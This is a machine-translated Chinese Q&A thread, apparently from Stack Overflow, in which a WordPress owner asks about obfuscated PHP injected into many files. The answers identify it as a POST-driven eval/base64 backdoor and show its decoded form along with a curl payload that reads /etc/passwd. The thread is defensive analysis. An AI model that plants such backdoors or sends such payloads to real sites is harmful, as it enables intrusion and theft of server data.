我的一个网站昨晚遭到黑客入侵,并在我的网站上刊登了一些色情内容。
我做了什么:
我已使用FTP从网站手动删除了成人内容。
我的网站现在正常运行并正常运行。但是,我仍然可以在我的插件和主题文件中找到一些代码。这不是我写的,代码如下:
<?php
$sF="PCT4BA6ODSE_";
$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n842e1c'];
if(isset($s22))
{
eval($s21($s22));
}
?>
我的疑问是什么:
其他代码建议:
此类代码有100多个文件。是否有任何方法可以一次性删除所有文件中的代码?或者任何保存代码并让它消毒的方法?因此,它将节省我从太多文件中手动删除代码的时间。
答案 0 :(得分:4)
此代码代表什么,这是做什么的?
此代码是一个后门程序,攻击者可以使用它来执行任意代码。这就是代码打算做的事情。
<?php
eval( base64_decode( $_POST['n842e1c'] ) );
攻击者可以使用POST参数 n842e1c 中的编码有效内容向此文件发出请求,并执行PHP代码。
示例:强>
curl -X POST -d "n842e1c=ZWNobyByZWFkZmlsZSgnL2V0Yy9wYXNzd2QnKTs=" http://PATH_TO_THIS_FILE
此处ZWNobyByZWFkZmlsZSgnL2V0Yy9wYXNzd2QnKTs=
是BASE64编码的echo readfile('/etc/passwd');
字符串。
这有害吗?
是
我应该从我的文件中删除此代码吗?
是
如果删除会对我的网站产生任何影响吗?
没有
答案 1 :(得分:2)
n842e1c
的POST参数并执行它。指令编码为Base64。也许重新安装wordpress,或者你可以在python(或其他东西)中快速开发一个脚本来从你的文件中删除这个字符串。
答案 2 :(得分:1)
PHP eval很危险。
它基本上执行其功能中的代码。因此,如果您不确定它是否在您的网站中使用,则必须将其删除。
eval()语言结构非常危险,因为它允许 执行任意PHP代码。因此不鼓励使用它。如果你 仔细确认除了使用它之外别无选择 构建时,要特别注意不要传递任何用户提供的数据 没有事先正确验证它。 Source
您不能直接禁用它,因此唯一的选择是从所有文件中删除代码。
答案 3 :(得分:1)